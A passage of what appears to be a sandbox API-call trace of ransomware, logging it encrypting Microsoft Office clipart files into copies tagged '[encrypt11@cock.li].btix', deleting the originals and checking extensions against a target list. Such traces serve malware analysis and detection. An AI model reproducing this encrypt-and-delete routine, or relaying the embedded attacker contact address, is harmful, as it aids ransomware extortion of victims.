office\\root\\clipart\\pub60cor\\j0107130.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0144.616] GetLastError () returned 0x0 [0144.616] ReadFile (in: hFile=0x574, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x69cc, lpOverlapped=0x0) returned 1 [0144.642] WriteFile (in: hFile=0x560, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0x69d0, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0x69d0, lpOverlapped=0x0) returned 1 [0144.643] ReadFile (in: hFile=0x574, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0144.643] WriteFile (in: hFile=0x560, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0144.643] SetEndOfFile (hFile=0x560) returned 1 [0144.644] CloseHandle (hObject=0x560) returned 1 [0144.644] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.644] SetEndOfFile (hFile=0x574) returned 1 [0144.646] CloseHandle (hObject=0x574) returned 1 [0144.646] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0144.827] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf")) returned 1 [0144.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0144.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0144.851] lstrlenW (lpString=".doc") returned 4 [0144.851] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.851] lstrlenW (lpString=".docx") returned 5 [0144.851] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0144.851] lstrlenW (lpString=".pdf") returned 4 [0144.851] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.851] lstrlenW (lpString=".xls") returned 4 [0144.851] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.851] lstrlenW (lpString=".xlsx") returned 5 [0144.851] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0144.851] lstrlenW (lpString=".ppt") returned 4 [0144.851] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0144.851] lstrlenW (lpString=".zip") returned 4 [0144.855] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.855] lstrlenW (lpString=".rar") returned 4 [0144.855] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.855] lstrlenW (lpString=".bz2") returned 4 [0144.855] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.858] lstrlenW (lpString=".7z") returned 3 [0144.858] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0144.858] lstrlenW (lpString=".dbf") returned 4 [0144.858] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0144.858] lstrlenW (lpString=".1cd") returned 4 [0144.858] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0144.858] lstrlenW (lpString=".jpg") returned 4 [0144.858] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.153] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=48388) returned 1 [0145.153] CloseHandle (hObject=0x334) returned 1 [0145.153] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107134.wmf")) returned 0x220 [0145.262] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107134.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0145.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107134.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0145.282] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.283] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107134.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0145.283] GetLastError () returned 0x0 [0145.283] ReadFile (in: hFile=0x304, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0xbd04, lpOverlapped=0x0) returned 1 [0145.287] WriteFile (in: hFile=0x3c4, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xbd10, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xbd10, lpOverlapped=0x0) returned 1 [0145.289] ReadFile (in: hFile=0x304, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0145.289] WriteFile (in: hFile=0x3c4, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0145.289] SetEndOfFile (hFile=0x3c4) returned 1 [0145.289] CloseHandle (hObject=0x3c4) returned 1 [0145.289] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.289] SetEndOfFile (hFile=0x304) returned 1 [0145.292] CloseHandle (hObject=0x304) returned 1 [0145.292] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0145.292] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107134.wmf")) returned 1 [0145.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0145.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0145.293] lstrlenW (lpString=".doc") returned 4 [0145.293] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.293] lstrlenW (lpString=".docx") returned 5 [0145.293] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0145.293] lstrlenW (lpString=".pdf") returned 4 [0145.293] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.293] lstrlenW (lpString=".xls") returned 4 [0145.293] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.293] lstrlenW (lpString=".xlsx") returned 5 [0145.293] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0145.293] lstrlenW (lpString=".ppt") returned 4 [0145.293] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0145.293] lstrlenW (lpString=".zip") returned 4 [0145.293] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.293] lstrlenW (lpString=".rar") returned 4 [0145.293] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.293] lstrlenW (lpString=".bz2") returned 4 [0145.293] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.293] lstrlenW (lpString=".7z") returned 3 [0145.293] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0145.293] lstrlenW (lpString=".dbf") returned 4 [0145.294] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0145.294] lstrlenW (lpString=".1cd") returned 4 [0145.294] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0145.294] lstrlenW (lpString=".jpg") returned 4 [0145.294] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.303] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=20212) returned 1 [0145.303] CloseHandle (hObject=0x2fc) returned 1 [0145.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf")) returned 0x220 [0145.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0145.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0145.304] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.304] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x420 [0145.305] GetLastError () returned 0x0 [0145.305] ReadFile (in: hFile=0x2fc, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x4ef4, lpOverlapped=0x0) returned 1 [0145.325] WriteFile (in: hFile=0x420, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0x4f00, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0x4f00, lpOverlapped=0x0) returned 1 [0145.326] ReadFile (in: hFile=0x2fc, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0145.327] WriteFile (in: hFile=0x420, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0145.327] SetEndOfFile (hFile=0x420) returned 1 [0145.327] CloseHandle (hObject=0x420) returned 1 [0145.327] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.327] SetEndOfFile (hFile=0x2fc) returned 1 [0145.329] CloseHandle (hObject=0x2fc) returned 1 [0145.329] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0145.329] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf")) returned 1 [0145.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0145.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0145.330] lstrlenW (lpString=".doc") returned 4 [0145.330] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.330] lstrlenW (lpString=".docx") returned 5 [0145.330] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0145.330] lstrlenW (lpString=".pdf") returned 4 [0145.330] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.330] lstrlenW (lpString=".xls") returned 4 [0145.330] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.330] lstrlenW (lpString=".xlsx") returned 5 [0145.330] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0145.330] lstrlenW (lpString=".ppt") returned 4 [0145.330] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0145.330] lstrlenW (lpString=".zip") returned 4 [0145.331] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.331] lstrlenW (lpString=".rar") returned 4 [0145.331] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.331] lstrlenW (lpString=".bz2") returned 4 [0145.331] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.331] lstrlenW (lpString=".7z") returned 3 [0145.331] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0145.331] lstrlenW (lpString=".dbf") returned 4 [0145.331] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0145.331] lstrlenW (lpString=".1cd") returned 4 [0145.331] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0145.331] lstrlenW (lpString=".jpg") returned 4 [0145.331] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.332] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=5272) returned 1 [0145.332] CloseHandle (hObject=0x2fc) returned 1 [0145.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf")) returned 0x220 [0145.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0145.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0145.332] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.333] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x420 [0145.334] GetLastError () returned 0x0 [0145.334] ReadFile (in: hFile=0x2fc, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x1498, lpOverlapped=0x0) returned 1 [0145.344] WriteFile (in: hFile=0x420, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0x14a0, lpOverlapped=0x0) returned 1 [0145.344] ReadFile (in: hFile=0x2fc, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0145.344] WriteFile (in: hFile=0x420, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0145.344] SetEndOfFile (hFile=0x420) returned 1 [0145.345] CloseHandle (hObject=0x420) returned 1 [0145.345] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.345] SetEndOfFile (hFile=0x2fc) returned 1 [0145.347] CloseHandle (hObject=0x2fc) returned 1 [0145.348] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0145.348] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf")) returned 1 [0145.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0145.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0145.351] lstrlenW (lpString=".doc") returned 4 [0145.351] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.351] lstrlenW (lpString=".docx") returned 5 [0145.351] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0145.351] lstrlenW (lpString=".pdf") returned 4 [0145.351] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.351] lstrlenW (lpString=".xls") returned 4 [0145.351] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.351] lstrlenW (lpString=".xlsx") returned 5 [0145.351] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0145.351] lstrlenW (lpString=".ppt") returned 4 [0145.351] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0145.351] lstrlenW (lpString=".zip") returned 4 [0145.351] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.351] lstrlenW (lpString=".rar") returned 4 [0145.351] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.351] lstrlenW (lpString=".bz2") returned 4 [0145.351] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.351] lstrlenW (lpString=".7z") returned 3 [0145.351] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0145.351] lstrlenW (lpString=".dbf") returned 4 [0145.351] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0145.351] lstrlenW (lpString=".1cd") returned 4 [0145.351] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0145.351] lstrlenW (lpString=".jpg") returned 4 [0145.351] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.352] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=5868) returned 1 [0145.352] CloseHandle (hObject=0x2fc) returned 1 [0145.352] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107266.wmf")) returned 0x220 [0145.352] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107266.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0145.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107266.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0145.353] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.353] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107266.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x420 [0145.353] GetLastError () returned 0x0 [0145.353] ReadFile (in: hFile=0x2fc, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x16ec, lpOverlapped=0x0) returned 1 [0145.641] WriteFile (in: hFile=0x420, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0x16f0, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0x16f0, lpOverlapped=0x0) returned 1 [0145.642] ReadFile (in: hFile=0x2fc, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0145.642] WriteFile (in: hFile=0x420, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0145.642] SetEndOfFile (hFile=0x420) returned 1 [0145.642] CloseHandle (hObject=0x420) returned 1 [0145.642] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.642] SetEndOfFile (hFile=0x2fc) returned 1 [0145.644] CloseHandle (hObject=0x2fc) returned 1 [0145.644] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0145.854] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107266.wmf")) returned 1 [0145.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0145.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0145.855] lstrlenW (lpString=".doc") returned 4 [0145.855] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.855] lstrlenW (lpString=".docx") returned 5 [0145.855] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0145.855] lstrlenW (lpString=".pdf") returned 4 [0145.855] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.855] lstrlenW (lpString=".xls") returned 4 [0145.855] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.855] lstrlenW 